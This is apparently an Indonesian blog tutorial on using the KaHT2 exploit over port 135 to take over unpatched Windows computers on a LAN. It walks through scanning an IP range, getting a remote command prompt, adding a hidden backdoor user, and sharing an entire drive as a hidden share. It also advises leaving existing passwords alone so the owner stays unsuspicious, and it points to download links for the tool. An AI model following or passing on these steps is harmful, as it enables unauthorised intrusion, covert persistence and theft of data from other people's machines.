KaHT2 adalah salah satu aplikasi yang dapat menembus jaringan LAN dengan menggunakan metode eksploit, kaHT2 dibuat dengan menggunakan bahasa pemprograman C, KaHT2 masih berbasis DOS, jadi untuk menjalankan aksinya harus masuk dulu ke command prompt.Cara kerja Program exploit Kaht ini adalah mengirimkan buffer di port 135 sehingga bisa Takeover komputer target. Setelah Takeover anda bisa masuk DOS prompt sistem lain seperti anda masuk DOS prompt anda sendiri dan mengakses segala sesuatu lewat DOS prompt selama port 135 di Komputer target terbuka tetapi hanya untuk versi Windows komputer target dibawah SP2 ^_^
Cara Menggunakan Kaht :
*Asumsi : Komputer source dg IP 10.8.46.74, Komputer target 10.8.1.20
1). Jalankan perintah "kaht 10.8.1.0 10.8.1.21", kaht akan melakukan proses scanning dari range IP 10.8.1.0 ~ 10.8.1.21
2). Jika berhasil maka dia akan langsung masuk DOS prompt komputer target, jika gagal maka akan keluar message FAILED
3). Komputer dg IP 10.8.1.20 mempunyai port 135 terbuka, dan menggunakan Windows 2000
Jika berhasil Takeover sistem target maka dia akan berhenti dan masuk ke DOS prompt, untuk memastikan itu komputer anda atau bukan ketik “net user”.
Anda bisa mencoba mengusili komputer target misal mengetikkan perintah :
C:\> shutdown -s -t 60 -c "Komputer mo tidur dulu, ngantuk" ^.^.
4). Setelah masuk DOS prompt komputer target, kita pastikan bahwa itu adalah DOS prompt mereka maka cobalah ketik perintah "net user", akan ditampilkan list user di komputer target. Setelah itu kita lihat IP nya
5). Kita coba lihat folder apa saja yang mereka share dg perintah "net share". Bagian berikut sudah memasuki bagian "Use at your own Risk!"
6). Buat user "coba" dan password "coba" agar kita bisa mengakses komputer target tanpa membuat curiga si pemilik komputer, dan jangan sekali2 mengubah password user yang sudah ada sebelumnya! karena akan sangat membuat semakin curiga.
7). Membuat folder share baru, kali ini yang dishare tidak tanggung” yaitu seluruh drive D! dengan perintah berikut "net share cobaShare$=d:\"
karakter $ dibelakang cobaShare adalah untuk menyembunyikan share folder tersebut ketika dibrowse dari Network Neighborhood, dan kita bisa langsung mengaksesnya.
8). Nah sekarang coba anda akses melalui Windows Explorer dg lsg mengetikkan "\\10.8.1.20\cobaShare$" kemudian Enter.
9). Masukkan user+pwd seperti yang anda buat tadi
Download software KaHT2 Disini Atau Disini
Source : www.aceh-it.co.cc
~Selamat mencoba~
regards,
